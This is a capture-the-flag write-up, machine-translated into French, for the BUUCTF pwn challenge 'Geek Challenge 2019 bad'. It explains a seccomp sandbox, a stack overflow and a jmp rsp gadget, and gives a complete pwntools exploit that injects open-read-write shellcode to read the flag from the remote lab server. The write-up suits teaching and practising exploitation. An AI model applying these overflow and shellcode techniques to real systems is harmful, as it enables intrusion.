[BUUCTF] PWN —— [Geek Challenge 2019] Pas mal (orw_shellcode)

[Geek Challenge 2019] Pas mal

annexe

étape

  1. Inspection de routine, programme 64 bits, inutile d'activer une protection
    Insérez la description de l'image ici

  2. Faites un test local pour voir la situation générale. Selon les invites du programme, il s'agit d'un simple shellcode. D'après l'expérience, ce n'est certainement pas simple.
    Insérez la description de l'image ici

  3. Chargement ida 64 bits. Introduction de
    Insérez la description de l'image ici
    Baidu sur la fonction mmap .
    Changez l'adresse à partir de 0x123000, la taille est de longueur 0x1000 et l'autorisation est modifiée en inscriptible et exécutable
    sub_400949 (), filtrage sandbox
    Insérez la description de l'image ici
    Utilisez pour seccomp-tools dump ./badvoir quelles fonctions peuvent être utilisées , et
    Insérez la description de l'image ici
    seule lecture est trouvée. Ecrire, ouvrir, quitter peut être utilisé. On estime que cette question devrait être obtenue en utilisant open-->read-->writeune telle méthode orw pour obtenir l'indicateur
    sub_400906 ()
    Insérez la description de l'image ici
    sub_400A16 (), qui est une vulnérabilité de débordement évidente
    Insérez la description de l'image ici

  4. L'idée de cette question est très simple, écrivez un shellcode de type orw, puis sautez pour exécuter, la taille de buf n'est que de 0x20, cela ne nous semble pas suffisant d'écrire une chaîne d'attaque rop complète, au début du programme , nous avons ouvert un espace exécutable 0x100, je prévois d'écrire le shellcode ici, puis d'utiliser le débordement de buf pour sauter pour exécuter notre shellcode

  5. Commencez par écrire le shellcode de orw

mmap=0x123000
orw_payload=shellcraft.open('./flag')           #打开根目录下的flag文件
orw_payload+=shellcraft.read(3,mmap,0x50)       #读取文件标识符是3的文件0x50个字节存放到mmap分配的地址空间里
orw_payload+=shellcraft.write(1,mmap,0x50)      #将mmap地址上的内容输出0x50个字节

Pour les spécificités du descripteur de fichier fd, voir cet article , permettez-moi d'en parler brièvement ici.
Le fd en lecture écrit 3 parce que le descripteur de fichier commence à partir de 3 lorsque le programme est exécuté, et le 1 en écriture est la sortie standard vers l'affichage. Ces points de connaissance sont dans le lien que j'ai donné.

  1. Ensuite, écrivez sur la chaîne d'attaque rop dans
    buf. La tâche de la chaîne d'attaque rop dans buf est d'écrire orw_payload dans mmap, laissez le programme passer à mmap pour exécuter orw_payload et commencez à écrire la chaîne d'attaque rop après avoir déterminé le but.
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行

De cette façon, le rop dans buf atteint le but que nous voulons. Ensuite, nous trouverons un moyen d'exécuter le contenu dans buf. On
constate que le programme a jmp rsp, qui peut être utilisé pour sauter à buf pour l'exécution. Le L'adresse buf est rsp-0x30.
sub rsp, 0x30; jmp rsp est inférieur à 8 octets pour répondre aux exigences. Insérez la description de l'image ici
La chaîne d'attaque Rop complète chez BUF

jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
payload=payload.ljust(0x28,'\x00')#buf的大小是0x20,加上rbp0x8是0x28,用’\x00‘去填充剩下的位置
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')#返回地址写上跳转到rsp
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)

De cette façon, la corde dans buf est également construite, et le reste peut être lu en passant orw_payload

Exp complète

from pwn import *

context.arch='amd64'

elf = ELF('./bad')
p = remote('node3.buuoj.cn',28461)


mmap=0x123000
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)

jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)


shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()

Insérez la description de l'image ici

Je suppose que tu aimes

Origine blog.csdn.net/mcmuyanga/article/details/113389703
conseillé
Classement